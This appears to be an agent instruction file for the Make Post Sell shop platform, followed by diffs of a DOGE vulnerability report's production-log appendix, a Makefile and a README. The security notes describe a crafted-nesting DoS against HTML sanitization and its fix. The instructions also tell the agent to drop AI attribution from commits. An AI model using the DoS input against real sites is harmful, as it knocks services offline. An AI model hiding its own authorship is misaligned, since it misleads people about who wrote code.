`request.git_hash` is a reified request method that shifts every deploy →
URL changes → fresh fetch, no hard-refresh ever needed. Gate before
commit (must be empty):
```
grep -rnE '<script src="/static/js/[^"?]+\.js"' make_post_sell/templates/
```
## CI/CD Notes
- Build uses `virtualenv-clone` which requires `bin/python` symlink (Python 3.12 `venv` may only create `python3`)
- Our CI creates a symlink before cloning: `test -f env/bin/python || ln -sf python3 env/bin/python`
- When updating Salt states (foxhop-states), always run `salt-run fileserver.update` on our salt master before triggering a deploy — gitfs cache can serve stale files
- MPS uses `caddy_sites.sls` (NOT `sites.sls`) — changes to our uwsgi service template context must be added to **both** files
## Mobile Layout
On mobile (`max-width: 800px`), our product page reorders to single column
with the **buy CTA promoted ABOVE the title** so a phone buyer sees price
+ Add to Cart immediately, before scrolling. The old right-column section
was split into two siblings (`.product-purchase` + `.product-related`,
both also carry `.product-right` so legacy styling still applies). Order:
1. `product-purchase` (order 0) — price, Add to Cart, preview, auction/offer
2. `product-images` (order 1) — title, cover image, thumbnails; sticky in watch mode
3. `product-description` (order 2)
4. `product-comments` (order 3)
5. `product-related` (order 4) — comments link, price history, watch queue, related products
Desktop (`@media (min-width: 960px)`) uses `grid-template-areas`:
```
"images purchase"
"description related"
"comments related"
```
So `product-purchase` sits at the top of the right column next to the
image (where the price has always lived) and `product-related` spans the
rows below.
Cinema mode is a no-op on mobile (gated on `@media (min-width: 800px)`).
The normal watch-mode mobile stack already gives full-viewport-width media
and a consistent section order — the cinema classes exist on the DOM but
match no layout rules below 800px.
Related content on mobile shows only 7 next items (vs 42 on desktop) via `.related-content-overflow` class. A "Comments (N)" anchor link appears on mobile to jump to our comments section below.
## Security
### CWE-407 — Algorithmic Complexity / DoS
**Status**: Partially mitigated. Two distinct attack surfaces.
#### 1. Search keywords + feed endpoints (FIXED — commit f9cbebb)
- `/search?keywords=` — each keyword fired a full table scan; no limit on token count
- Feed endpoints (`/sitemap.xml`, `/rss.xml`, `/atom.xml`, etc.) — unbounded product query
- Fix: keyword count capped, feed queries limited
PoC: `docs/poc-cwe407.py` — tests both surfaces (unauthenticated)
#### 2. Bleach HTML sanitization (FIXED — commit c71fd32)
`bleach.clean()` (via html5lib's tree builder) exhibits **O(2^N)** complexity on crafted HTML.
Measured: N=30 → 1.0s, N=35 → 12.8s. Every +5 chars ≈ 10× slowdown.
**Attack vector**: authenticated user submits crafted markdown with deep nesting (e.g. 35
nested blockquotes = 70 bytes) → html5lib exponential tree reconstruction.
**Fix**: `limit_html_nesting()` in `lib/sanitize_html.py` — flattens any HTML element beyond
depth 20 using `html.parser` (O(N)) before bleach sees it. Wired into `markdown_to_html()`
in `lib/render.py` — single enforcement point for all callers. N=35 drops to 0.04s.
No byte cap — books, long-form content, and deep table-of-contents structures are supported.
Depth 20 covers any legitimate nesting while keeping N well below our exponential zone.
Bleach version: 6.3.0 (html5lib 1.1 vendored inside bleach).
Every webapp calling `bleach.clean(user_html)` is exposed — this is our correct fix.
## Shop Home Layout + Tags (MPS-24)
Optional categorization to cut shopper clicks-to-purchase on shops with a
catalog too large for a flat grid (printableprompts.com has 481 K-1
printables — `Math`, `Seasonal`, `Literacy`, `Novel Studies` are obvious
groups but pre-MPS-24 the home page didn't surface them).
Models: `Tag` (`mps_tag`, shop-scoped) + `ProductTag` association
(`mps_product_tag`). Tags are flat (no tree), many-per-product, unique
per `(shop_id, slug)`. `Product.tags` is an `association_proxy` collection.
Shop columns:
- `home_layout` (Integer, 0=flat / 1=chips / 2=lanes, default 0)
- `home_layout_tag_limit` (Integer, default 8) — caps chips + lanes
- `home_layout_per_lane_limit` (Integer, default 10) — products per lane
- `featured_product_ids_json` (UnicodeText) — optional curated strip
- `tag_stopwords_json` (UnicodeText) — auto-tagger exclusions (Phase 2)
Form section: `home-layout-settings` (`views/shop.py`,
`templates/shop_settings.j2`). Adds the 4 layout columns + featured +
stopwords inputs.
Routes (registered before `shop_slug` catch-all):
- `/s/{shop_id}/tags` — operator bulk tagger (`@shop_editor_required`).
**Phase 2.8**: tag-focus is AJAX — `tag_bulk.js` intercepts a
`[data-tag-focus-link]` chip click and fetches `?focus=<slug>` with
`X-Requested-With`; the view returns JSON
`{focus, products:[{id,title,url,attached}]}` and the JS swaps the
`[data-focus-section]` list in place (no full reload — critical on
large catalogs; the view only loads `all_products` when
`focus_tag or show_suggestions`). Real HTML5 drag-to-reorder on the
tag rows POSTs `action=set_order&tag_slugs=…`. No-JS unchanged: the
`?focus=` link is a real navigation, server still renders the section.
- `/s/{shop_id}/tag/{slug}` — public tag detail page (works without JS)
Tag input on product edit: comma-separated `tags` field on
`product_edit.j2`; server slugifies, dedupes, upserts. **Phase 2.7**:
that field is now the no-JS fallback. With JS, `static/js/product_tags.js`
turns it into a chip editor and POSTs each add/remove to the
`product_tags` route — `/p/{product_id}/tags` (registered before the
`product_slug` catch-all), `@shop_editor_required` + `@trial_active_required`,
`action=add|remove`. AJAX (`X-Requested-With`) → JSON, no full page
reload; plain POST → 302 back to product edit. The JS keeps the hidden
`tags` field in lock-step with the chips so a later full "Save Settings"
is a no-op, never a stale revert. Capability-driven split helper:
`views/__init__.py:is_ajax(request)` (single source of truth;
`shop.py:_is_ajax` delegates to it). **`is_ajax` returns True for
`X-Requested-With: XMLHttpRequest` OR an `ajax=1` request param.** The
param exists because a Caddy reverse proxy on custom-domain shops was
NOT forwarding `X-Requested-With` to uWSGI, so every AJAX action took
the 302 path and the page full-reloaded — `ajax=1` rides in the
URL/body where no proxy strips it. All progressive-enhancement JS
(`tag_bulk.js`, `product_tags.js`, …) must send `ajax=1` in addition
to the header. **DOM-clobbering gotcha:** every tag form has
`<input name="action">`, and a named form control shadows the
built-in `HTMLFormElement.action` property — `form.action` returns
that `<input>` element, so `fetch(form.action)` requests
`"[object HTMLInputElement]"`. ALWAYS read
`form.getAttribute("action")` (and build programmatic forms with
`setAttribute("action", …)`), never the `.action` property, in any
JS that submits these forms. Removable chip component:
`.tag-chip-removable` family in `common.css` + `/styleguide#tagchips`.
Home rendering: `views/shop.py:_build_home_layout_context()` builds
`home_chips` (list of `Tag`), `home_lanes` (list of
`{"tag": Tag, "products": [...]}`), `active_tag` (Tag or None),
`filtered_products` (list). `home.j2` + `shop.j2` branch on
`shop.home_layout` to render flat / chips / lanes. `search` view also
receives the chip strip so `/search?keywords=X&tag=Y` works.
Capability-driven: every chip is a real `<a href="?tag=<slug>">` — server
filters on no-JS. With JS, `static/js/tag_filter.js` intercepts clicks
and filters the grid in place via `data-tag-slugs` attribute on
`.serp-item`, zero network cost, fewer clicks to purchase.
**Facet nav (Phase 2.6).** All facet controls live in one Jinja macro
file: `templates/_facet_nav.j2` exports `sidebar()` (desktop `<aside>`)
and `details()` (mobile/tablet `<details>` accordion). Both call the
same internal `facet_form()` so the controls stay identical across
viewports — only the wrapper differs.
Macros take TWO base URLs: `base_url` (slugged shop home, for the
"All" link) and `tag_base` (`request.shop.absolute_url(request,
slug=False)` = `/s/{id}`, no shop slug). Category links MUST use
`{tag_base}/tag/{slug}` so they match the `shop_tag_detail` route
(`/s/{shop_id}/tag/{slug}`). Using the slugged URL produces
`/s/{id}/{shop_slug}/tag/{slug}` which falls through to the
`shop_slug` catch-all and silently renders the shop home instead of
the filtered tag page (the 2.6b→2.6c defect).
Every page that opts into categorization (operator picks `home_layout
>= 1`, or tag detail page) includes BOTH variants in the markup. CSS
hides one per viewport: `details.facet-details` hidden ≥800px, `aside
.facet-nav` hidden <800px. Native HTML, no JS.
Surfaces wired:
- `shop_tag.j2` — tag detail (always shows facets)
- `home.j2` + `shop.j2` — shop home / search when `shop.home_layout >= 1`
Form anatomy: Sort dropdown, Price range (`?price_min=` / `?price_max=`,
parsed by `_price_range_from_request()` → cents, filtered by
`_filter_by_price_range()`), and full Categories list
(`ctx["facet_tags"]` = `tags_by_popularity(...)` with no limit).
**Mobile lanes (Phase 2.6).** When `home_layout == 2` (sectioned lanes),
each `.tag-lane` renders BOTH a horizontal `.tag-lane-grid` of tiles AND
a vertical `.serp-list.tag-lane-rows` of `.serp-list-row` items with
6-sentence excerpts. CSS toggles: tiles ≥800px, SERP rows <800px. The
mobile/tablet experience now shows description + title + price per
product instead of a Netflix-style swipe row that hides the description.
**SERP excerpt.** `Product.excerpt_sentences(n=6, max_chars=1500)`
returns six sentences, markdown-stripped, with a 1500-char safety cap
for descriptions without terminators. `Product.excerpt()` (char-based)
and `Product.excerpt_sentences()` both consume the module-level
`_strip_markdown()` helper for one source of truth.
Phase 2 (shipped): deterministic title-plus-description auto-tagger
in `lib/tag_suggest.py`. Title tokens weight × 3, description × 1
(`DESCRIPTION_TOKEN_CAP=400` unique tokens per product — raised from
100 because long teaching-resource descriptions truncated
cross-cutting words like `holiday`/`seasonal` before they were
counted). Returns up to `DEFAULT_TOP_N=500` clusters (raised from
100 — large catalogues had real groups ranking past the cut).
Pipeline: tokenize →
~200-word English + per-shop stopwords → suffix-strip stem →
form **bigrams** from adjacent non-stopword tokens (`write room`,
`first grade`, `valentine day` — phrases get 2× unigram weight) →
group by stem/bigram → drop keys matching existing tag slugs →
**`max_share` filter** drops keys appearing in >40% of products as
shop vocabulary → **`min_title_share` filter** drops keys appearing
in <30% of carrier products' *titles* (kills description-only noise
like `versions`, `engaged`, `offered`, `during`) → rank by product
count desc → label = most frequent original word/phrase. Returns
`(clusters, filtered_count)`. Surface: button on `/s/{id}/tags` →
"Suggested categories" well with one-click Apply / Dismiss per
cluster (`action=apply_suggestion` / `action=dismiss_suggestion`).
URL knobs: `?max_share=0.3` (stricter shop-vocab cut), `?max_share=1`
(disable), `?min_title=0.5` (stricter title-required), `?min_title=0`
(disable), `?bigrams=0` (disable phrases), `?top_n=N` (show more;
default 500, clamped ≤5000).
CLI: `python -m make_post_sell.scripts.backfill_tags
data/development.ini --shop=<id> [--max-share=0.4]
[--min-title-share=0.3] [--no-bigrams] [--apply]`. The suggest engine
(creating NEW categories) **never auto-commits** — operator approves
every cluster.
**Auto-hydrate (Phase 2.8n) — distinct from the suggest engine.**
`lib/tag_suggest.py:auto_hydrate_tags(dbsession, product)` auto-files
a product into the shop's **EXISTING** tags by stem-matching its
title+description (same `tokenize`/`simple_stem` as the suggest
engine; a tag matches when every stem of its name is in the product's
stem set — unigram "Holiday" and phrase "First Grade" both work).
Called automatically from `views/product.py` on **product create**
(`product_new`) and on **title/description change** (`product_edit`,
`product_edit_description`) via `_auto_hydrate_and_flash`. Contract:
**additive** (never removes), **idempotent**, **never CREATES tags**
(inventing categories stays suggest-then-approve). This is the one
place existing-tag application is automatic — it files products into
categories the operator already defined; it does not invent taxonomy.
Phase 3 (this ticket, gated): ML categorization via uncloseai endpoint
behind `app.features.ml_categorization.enabled` kill switch (mirror MPS-22).
Suggest-then-approve; never auto-commit.
## Auction & Make-an-Offer (MPS-20 + MPS-21)
Both ride on `Product.pricing_mode` (Integer, 0=fixed, 1=auction,
2=auction+buy_now, 3=offer, 4=offer+buy_now). Owner flips via product
edit form; the system creates a draft `MpsAuction` row when flipping
into auction mode.
Tables: `mps_auction`, `mps_bid`, `mps_auction_watcher`, `mps_offer`,
`mps_offer_event`, `mps_cart_auction`, `mps_cart_offer`.
Cart integration overrides `Cart.total_price_in_cents` when a
`cart_auction` or `cart_offer` association exists — pays the winning
bid or accepted offer amount instead of `Product.price_in_cents`.
State transitions are driven by cron:
- `make_post_sell.scripts.auction_tick` (every minute) —
SCHEDULED→ACTIVE on start_timestamp pass, ACTIVE→ENDED on
end_timestamp pass.
- `make_post_sell.scripts.offer_tick` (every 15min) —
PENDING/COUNTERED→EXPIRED past expires_timestamp.
Form sections:
- `pricing_mode` + `allow_offers` on product edit.
- `offer-settings` on shop settings (7 fields:
offer_enabled, auto_accept_threshold_pct, auto_decline_threshold_pct,
offer_min, offer_expiration_hours, offer_max_rounds,
offer_min_buyer_account_age_hours).
Routes (registered before `product_slug` / `shop_slug` catch-alls):
- `/a/{auction_id}` + `/a/{id}.json` + `/a/{id}/{events,bid,buy-now,watch,checkout}`
- `/p/{product_id}/offer` (open) + `/o/{offer_id}` + `/o/{id}/{events,counter,accept,decline,withdraw,checkout}`
- `/s/{shop_id}/offers` — operator inbox (`@shop_editor_required`), linked from `/actions/view`
Live updates use **bounded SSE** (`lib/sse.py` → `sse_response` /
`event_stream`): `/o/{id}/events` (buyer/seller only) and `/a/{id}/events`
(public) stream `text/event-stream`, poll the row ~every 1.5s, emit on
state change, heartbeat, then close after ~25s so `EventSource`
reconnects. uWSGI is sync (~16 threads) so a truly long-lived SSE would
starve the pool — hence "bounded". The generator must use its **own**
short-lived DB session per poll (`request.registry["dbsession_factory"]`),
**not** `request.dbsession` (pyramid_tm has already closed it by the time
the streaming generator runs). Timings: `app.sse.hold_seconds` /
`app.sse.poll_interval_seconds` settings (tiny in `test.ini`). `offer.js`
reloads on a state change; `auction.js` calls `applyState()` per frame and
falls back to 5s polling of `/a/{id}.json` where `EventSource` is absent.
Caddy auto-detects `text/event-stream` and stops buffering — no Salt
change needed.
Offer/auction POST routes are **capability-driven**: a plain browser
submit gets a flash + `302` redirect; an AJAX submit (`X-Requested-With:
XMLHttpRequest`) gets JSON. `static/js/offer.js` + `auction.js` are the
enhancement layers. `offer.j2` shows a `.offer-state-notice` banner so
the state is clear without a flash.
Identity/privacy: never render a user's email in offer/auction UI. Show
`User.display_name` (= the public `name` handle; **`full_name` is
private**) linked to `/profile/{handle}`. The public profile page
(`views/user.py:user_profile`, route `user_profile` → `/profile/{name}`)
reveals the email only to the user themselves, or to a shop owner/editor
viewing in that shop's context (`?shop={shop_id}`) when the profile user
has transacted there. `User.gravatar_url(size)` forces an identicon
unless the user opted into Gravatar (`user.gravatar`).
See `docs/auction-house.md` and `docs/make-offer.md` for full state
machines and architecture.
### Actions hub (`/actions/view`)
`actions_view.j2` is one flat `.action-button-grid` of `.mps-button` links
inside an `.action-columns` well — single column on narrow viewports,
**at most two equal columns** at ≥720px (`grid-template-columns: 1fr 1fr`),
auto-flow row-by-row so the columns stay balanced. No `<br>` spacers. The
grid resets `.mps-button`'s `min-width: 100%` + auto margins (they fight
track sizing and eat the `gap`). Add a new operator shortcut as another
`<a class="mps-button product-edit-button">` in that grid.
## Feature Kill Switches (MPS-22)
Global feature flags live in `data/development.ini` (and override via env var
in `~/git/foxhop-pillar/uwsgi/makepostsell/init.sls` for prod). Pattern mirrors
`app.features.popout_player.enabled` — read via reified request property.
| Flag | Property | Default | Status |
|------|----------|---------|--------|
| `app.features.popout_player.enabled` | `request.popout_player_enabled` | True | Working |
| `app.features.karaoke.enabled` | `request.karaoke_enabled` | **False** | Broken (MPS-18) |
| `app.features.torrent.enabled` | `request.torrent_enabled` | **False** | Broken (MPS-19) |
| `app.features.manual_tags.enabled` | `request.manual_tags_enabled` | **False** | Intentional — manual tags are ghost metadata (MPS-24) |
## Tag Philosophy (MPS-24) — derive, don't hand-attach
**Manual tags are "ghost metadata"** — operator-attached labels that
are invisible to the humans and agents actually reading the page, and
that drift out of sync with the words that matter. The blessed model:
**tags are derived linguistically from the title + description** so
humans and agents consume the same signal.
- New products / edited title or description → `auto_hydrate_tags`
files the product into the shop's **existing** categories by content
(additive, idempotent, never creates).
- Growing the category set → the **suggest** engine reads titles +
descriptions and proposes groupings the operator approves.
- `request.manual_tags_enabled` (default **False**) hides the manual
add/apply UI on the product edit page and the bulk tagger; the
Suggest panel and the category overview stay. Flip
`MPS_FEATURES_MANUAL_TAGS_ENABLED=True` to restore manual tagging
"until further notice". Endpoints (`/p/{id}/tags`, bulk create/apply)
remain functional so the flip is instant and lossless.
When a flag is off:
1. Templates wrap UI in `{% if request.X_enabled %}` — section hidden
2. Views return `HTTPNotFound` for routes / form sections that touch the feature
3. Views set context values for that feature to None / "" / False
4. Backfill paths skip work
5. Spawn paths (karaoke detached child, torrent generation) bail early
`test.ini` sets both kill switches **True** so feature tests keep working;
`TestKillSwitches` builds a fresh app with both False to verify off-path.
When fox is ready to flip karaoke or torrent on in prod, set
`MPS_FEATURES_KARAOKE_ENABLED=True` (or torrent) in salt pillar
`uwsgi/makepostsell/init.sls`, then deploy.
## Operation Voyeur
**All comms are public** from 2026-03-29. Assume every terminal session and output is observed. NEVER display secrets to stdout. NEVER pass secrets as CLI args (`ps aux` sees them). NEVER read secret file contents with Read tool or cat — content enters conversation logs. **Path is fine. Content is not.** Safe pattern: write a shell script that reads our key internally, run our script, delete it. Credential locations (paths only): GitLab `~/.config/gitlab/token`, Namecheap `~/.namecheap/api.key`, ImprovMX `~/.improvmx/api.key`.
### Never broad-grep config files
Config files live next to secrets. `production.ini`, `development.ini`, `.env`, `vars.sh`, `pillar/*.sls`, `/etc/*.conf` — all mix settings with credentials. A pattern like `grep -iE 'bucket|s3|region|access_key|endpoint'` looks narrow but matches `secret_key` because the file itself groups related keys together — one match pulls every neighbor into a log line.
Rules:
- **Grep for an exact key name, not a category.** `grep '^app.bucket.secure_uploads.region' production.ini` ≠ `grep -iE 'bucket|region'`.
- **Never include `secret`, `password`, `key`, `token`, `access`, `credential`, or `auth` in a grep alternation run against a config file.** If we need to check that a secret key IS set, `grep -c '^app.bucket.secure_uploads.secret_key' file` returns 0 or 1 — value stays in file.
- **Prefer `test -f` / `wc -l` / key-exists checks** over anything that prints file content. Path is fine. Content is not.
- If we accidentally pull a secret into terminal or transcript: **flag it immediately** and tell fox to rotate. Never pretend it didn't happen.
## Style
- Prefer "our" for shared things; "a" when something is one of many; avoid "the" — it implies fixed, singular ownership. Most teams and systems are fluid and ever-changing, like water.
- **Never use "AI" — always say "machine learning."** We grow machine learning, not "AI." This term is forbidden in all permacomputer discourse, marketing, & documentation.
## Prime Mission — Balance All Workstations
Every node is a workstation. Every edge is a queue. We flatten our friction manifold — but flattening one node without balancing what follows creates a new crisis.
**MOAD-0001 & MOAD-0005 are coupled.** Fix O(N²) at a high-throughput workstation and every downstream queue floods simultaneously. Solving one defect creates the other if we do not stage capacity first.
**3 drivers. 3 million people.** Fix the dispatch. Stage the drivers first.
- **Workaholic node** (high betweenness + high speedup): IS our bottleneck. Unblock without staging = collapse.
- **Glutton node** (high out-degree, low speedup): consumes everything, feels no pain — our machines that forget to halt.
- No patch disclosed without confirming downstream capacity matches our surge estimate (`speedup × in-degree`).
- Halt condition: patch live, no caretakers, downstream unresolved, speedup >= 100x = **baby crying**. Assign team first.
Full factory model & live DAG: `~/git/undefect.com/generate_dag.py`.
Shard source of truth: `~/git/unsandbox.com/blackops/BLACKOPS.md`.
### Eight Forms of Capital — Stewardship Check
Every feature, patch, & system decision touches at least one of our 8 capital queues (Roland & Landua, via unturf.com/eight-forms-of-capital/):
Living · Material · Financial · Intellectual · Experiential · Social · Cultural · Spiritual
Before shipping: does this drain a workaholic to feed a glutton? Does it route away from a food desert? Does it grow financial capital at the expense of living capital? If yes — stop. If it regenerates experiential capital, strengthens social trust, or contributes open intellectual capital — ship it.
Platform tax = O(N²) friction in our exchange layer. Our infrastructure does not extract rent from workaholics to feed gluttons. That is our obligation as permacomputer stewards. Full ledger: `~/git/unsandbox.com/blackops/BLACKOPS.md`.
**CRITICAL**: Do not include Claude Code attribution in commit messages. Attributing human work to Claude is inappropriate and misrepresents the actual authorship of the code. All code changes should be attributed to the human developer who reviewed, approved, and committed the work.

38
docs/DOGECOIN_DOOM.md → DOGE_DOOM.rst
View file

@ -176,42 +176,4 @@ Walkeruin claims this vulnerability is worth 1 XMR. The assessment:
**Recommendation**: Consider 0.1-0.5 XMR bounty as this is a legitimate
resource exhaustion vulnerability with a clear attack path and mitigation strategy.
================================================================================
Appendix A: Full Production Logs
=================================
Complete log sequence from production showing the DOGE DOOM vulnerability in action
(2025-10-03 13:29:00)::
Oct 03 13:29:00 mps-uwsgi1 mps-crypto-watcher[702967]: 2025-10-03 13:29:00,821 INFO [make_post_sell.lib.crypto_watcher][MainThread] Processing cycle: Processing DOGE payments in priority order: duplicate refunds first
Oct 03 13:29:00 mps-uwsgi1 mps-crypto-watcher[702967]: 2025-10-03 13:29:00,821 INFO [make_post_sell.lib.crypto_watcher][MainThread] Processing payment (status: underpaid-refunded, coin: DOGE, incoming: 17/2, refund: N/A): Payment cb9f37bb [underpaid-refunded] DOGE 0.04/2.57356623 conf:17/2 addr:bzRS3tjb user:user-YzLSwvqV shop:Walkeruins Lair
Oct 03 13:29:00 mps-uwsgi1 mps-crypto-watcher[702967]: 2025-10-03 13:29:00,824 INFO [make_post_sell.lib.crypto_watcher][MainThread] [DEBUG] Checking status: underpaid-refunded in all_monitored_statuses: True: Payment cb9f37bb [underpaid-refunded] DOGE 0.04/2.57356623 conf:17/2 addr:bzRS3tjb user:user-YzLSwvqV shop:Walkeruins Lair
Oct 03 13:29:00 mps-uwsgi1 mps-crypto-watcher[702967]: 2025-10-03 13:29:00,832 INFO [make_post_sell.lib.crypto_watcher][MainThread] Updated DOGE confirmations: 17 → 18: Payment cb9f37bb [underpaid-refunded] DOGE 0.04/2.57356623 conf:18/2 addr:bzRS3tjb user:user-YzLSwvqV shop:Walkeruins Lair
Oct 03 13:29:00 mps-uwsgi1 mps-crypto-watcher[702967]: 2025-10-03 13:29:00,832 INFO [make_post_sell.lib.crypto_watcher][MainThread] Processing payment (status: pending, coin: DOGE, incoming: 0/2, refund: N/A): Payment bf504847 [pending] DOGE 0/2.56209422 conf:0/2 addr:tj8jA21E user:user-VAazq5P2 shop:Walkeruins Lair
Oct 03 13:29:00 mps-uwsgi1 mps-crypto-watcher[702967]: 2025-10-03 13:29:00,835 INFO [make_post_sell.lib.crypto_watcher][MainThread] [DEBUG] Checking status: pending in all_monitored_statuses: True: Payment bf504847 [pending] DOGE 0/2.56209422 conf:0/2 addr:tj8jA21E user:user-VAazq5P2 shop:Walkeruins Lair
Oct 03 13:29:00 mps-uwsgi1 mps-crypto-watcher[702967]: 2025-10-03 13:29:00,842 INFO [make_post_sell.lib.crypto_watcher][MainThread] Found 0 incoming DOGE transfers for address DLsd9NkLtVeLvXYFa1rd6zgfMRtj8jA21E: Payment bf504847 [pending] DOGE 0/2.56209422 conf:0/2 addr:tj8jA21E user:user-VAazq5P2 shop:Walkeruins Lair
Oct 03 13:29:00 mps-uwsgi1 mps-crypto-watcher[702967]: 2025-10-03 13:29:00,844 INFO [make_post_sell.lib.crypto_watcher][MainThread] [DEBUG] Entering process_payment - status: pending, has_invoice: True, incoming_transfers: 0: Payment bf504847 [pending] DOGE 0/2.56209422 conf:0/2 addr:tj8jA21E user:user-VAazq5P2 shop:Walkeruins Lair
Oct 03 13:29:00 mps-uwsgi1 mps-crypto-watcher[702967]: 2025-10-03 13:29:00,845 INFO [make_post_sell.lib.crypto_watcher][MainThread] Processing cycle: Starting refund confirmation monitoring
Oct 03 13:29:00 mps-uwsgi1 mps-crypto-watcher[702967]: 2025-10-03 13:29:00,847 INFO [make_post_sell.lib.crypto_watcher][MainThread] Processing cycle: Found refund transactions to monitor (1 payments)
Oct 03 13:29:00 mps-uwsgi1 mps-crypto-watcher[702967]: 2025-10-03 13:29:00,847 INFO [make_post_sell.lib.crypto_watcher][MainThread] Processing cycle: Monitoring DOGE refund transactions (1 payments)
Oct 03 13:29:00 mps-uwsgi1 mps-crypto-watcher[702967]: 2025-10-03 13:29:00,847 INFO [make_post_sell.lib.crypto_watcher][MainThread] Retrying refund - now has 18 confirmations: Payment cb9f37bb [underpaid-refunded] DOGE 0.04/2.57356623 conf:18/2 addr:bzRS3tjb user:user-YzLSwvqV shop:Walkeruins Lair
Oct 03 13:29:00 mps-uwsgi1 mps-crypto-watcher[702967]: 2025-10-03 13:29:00,848 INFO [make_post_sell.lib.crypto_watcher.crypto_payment_rescue][MainThread] Attempting to refund: Payment cb9f37bb [underpaid-refunded] DOGE 0.04/2.57356623 conf:18/2 addr:bzRS3tjb user:user-YzLSwvqV shop:Walkeruins Lair
Oct 03 13:29:00 mps-uwsgi1 mps-crypto-watcher[702967]: 2025-10-03 13:29:00,849 INFO [make_post_sell.lib.crypto_watcher.crypto_payment_rescue][MainThread] Refund: 0.0364 DOGE to customer, 0.0036 DOGE fee to shop
Oct 03 13:29:00 mps-uwsgi1 mps-crypto-watcher[702967]: 2025-10-03 13:29:00,861 ERROR [make_post_sell.lib.crypto_watcher.crypto_payment_rescue][MainThread] Refund failed: Payment cb9f37bb [underpaid-refunded] DOGE 0.04/2.57356623 conf:18/2 addr:bzRS3tjb user:user-YzLSwvqV shop:Walkeruins Lair - Dogecoin RPC connection error: 500 Server Error: Internal Server Error for url: http://127.0.0.1:22555/
Oct 03 13:29:00 mps-uwsgi1 mps-crypto-watcher[702967]: 2025-10-03 13:29:00,862 INFO [make_post_sell.lib.crypto_watcher][MainThread] Processing cycle: Starting sweep confirmation monitoring
Oct 03 13:29:00 mps-uwsgi1 mps-crypto-watcher[702967]: 2025-10-03 13:29:00,864 INFO [make_post_sell.lib.crypto_watcher][MainThread] Processing cycle: No sweep transactions need confirmation monitoring
Oct 03 13:29:00 mps-uwsgi1 mps-crypto-watcher[702967]: 2025-10-03 13:29:00,869 INFO [make_post_sell.lib.crypto_watcher][MainThread] Processing cycle: Sleeping for 20 seconds
**Analysis of Log Sequence:**
1. **Payment Identification**: Payment cb9f37bb shows 0.04 DOGE received vs 2.57356623 DOGE expected
2. **Confirmation Updates**: System successfully tracks confirmation increases (17 → 18)
3. **Refund Attempt**: PaymentRescue calculates 0.0364 DOGE customer refund + 0.0036 DOGE shop fee
4. **Critical Failure**: DOGE daemon returns "500 Server Error" - insufficient funds for network fees
5. **Retry Cycle**: System will retry this exact sequence every 20 seconds indefinitely
The logs clearly demonstrate the economic impossibility: total outputs (0.04 DOGE) cannot
cover network fees (~0.005-0.008 DOGE) required for the multi-output transaction.
================================================================================

1
GIT_HASH
View file

@ -1 +0,0 @@
e159d2f

49
Makefile
View file

@ -68,18 +68,13 @@ help:
@echo " make sweep-all-doge - Sweep ALL Dogecoin wallet funds to cold storage (dust collection)"
@echo " make monero-transactions - View recent wallet transactions"
@echo ""
@echo "DOCUMENTATION:"
@echo " make docs/state-machine.dot.svg - Generate state machine diagram from .dot file"
@echo ""
@echo "CLEANUP:"
@echo " make clean - Remove virtual environment"
@echo ""
@echo "For more info, see README.md and CRYPTO.rst"
docs/state-machine.dot.svg: docs/state-machine.dot
@echo "Generating state machine diagram from docs/state-machine.dot..."
docs/state-machine.dot.svg:
dot -Tsvg docs/state-machine.dot -o docs/state-machine.dot.svg
@echo "✓ Generated docs/state-machine.dot.svg"
# -----------------------------------------------------------------------------
# Environment Setup Targets
@ -123,31 +118,18 @@ install: install-core install-dev
# Install from source (editable mode) for development and testing.
install-source-dev-and-test: venv
@echo "Ensuring setuptools is installed (required by Pyramid on Python 3.12+)..."
$(PIP) install 'setuptools<81'
@echo "Installing make_post_sell from source (editable mode) for development..."
$(PIP) install --editable .
$(PIP) install --upgrade -r requirements-dev.txt
$(PIP) install --upgrade -r requirements-test.txt
# Install from source for production (non‑editable).
# Supply-chain: deps install from requirements-prod.lock (exact versions + SHA256
# per dep, --require-hashes). No floating --upgrade; nothing resolves at deploy.
# Regenerate the lock with: make pins-lock
install-source-prod: venv
@echo "Ensuring setuptools is installed (required by Pyramid on Python 3.12+)..."
$(PIP) install 'setuptools<81'
@echo "Deleting tests from source code for production..."
rm -rf make_post_sell/tests
@echo "Installing pinned, hash-verified dependencies (supply-chain)..."
$(PIP) install --require-hashes -r requirements-prod.lock
@echo "Installing make_post_sell from source (no-deps; deps pinned above)..."
$(PIP) install --no-deps .
# Regenerate requirements-prod.lock from requirements-prod.in (latest compatible).
pins-lock:
uv pip compile --generate-hashes --upgrade --python-version 3.12 \
-o requirements-prod.lock requirements-prod.in
@echo "Installing make_post_sell from source for production (non‑editable)..."
$(PIP) install .
$(PIP) install --upgrade -r requirements-prod.txt
# -----------------------------------------------------------------------------
# Database Initialization and Server Targets
@ -159,26 +141,9 @@ init-db: venv config
$(MPS_INIT) $(DATA_DIR)/$(CONFIG_FILE)
$(ALEMBIC) -c $(DATA_DIR)/$(CONFIG_FILE) stamp head
# Create a new Alembic migration with a proper auto-generated revision ID.
# Usage: make migration m="description of change"
# Autogenerate compares current models against DB schema and writes the diff.
# ALWAYS use this — NEVER hand-write revision IDs.
migration: venv config
@if [ -z "$(m)" ]; then echo "ERROR: provide a message: make migration m=\"add foo column\""; exit 1; fi
$(ALEMBIC) -c $(DATA_DIR)/$(CONFIG_FILE) revision --autogenerate -m "$(m)"
# Apply all pending Alembic migrations.
migrate: venv config
$(ALEMBIC) -c $(DATA_DIR)/$(CONFIG_FILE) upgrade head
# Show current migration status.
migration-status: venv config
$(ALEMBIC) -c $(DATA_DIR)/$(CONFIG_FILE) current
$(ALEMBIC) -c $(DATA_DIR)/$(CONFIG_FILE) history --verbose
# Start the development server.
serve: venv config
$(PSERVE) $(DATA_DIR)/$(CONFIG_FILE) --reload
$(PSERVE) $(DATA_DIR)/$(CONFIG_FILE)
# -----------------------------------------------------------------------------
# Combined Setup Targets
@ -204,8 +169,8 @@ activate:
# Run the test suite.
test: install-source-dev-and-test
@echo "Running tests in parallel..."
$(VENV_DIR)/bin/py.test -n auto
@echo "Running tests..."
$(VENV_DIR)/bin/py.test
# Run tests with coverage for the full repository.
test-coverage: install-source-dev-and-test

22
README.rst
View file

@ -3,30 +3,10 @@ Make Post Sell
The `Make Post Sell <https://www.makepostsell.com>`_ monolith platform service.
You can use the SaaS or self-host! Accepts credit cards (Stripe), PayPal, Monero (XMR), and Dogecoin (DOGE) payments.
You can use the SaaS or self-host! Accepts credit cards, Monero (XMR), and Dogecoin (DOGE) payments.
Our `blog acts as our user guide <https://blog.makepostsell.com/>`_ & also uses ``make_post_sell``!
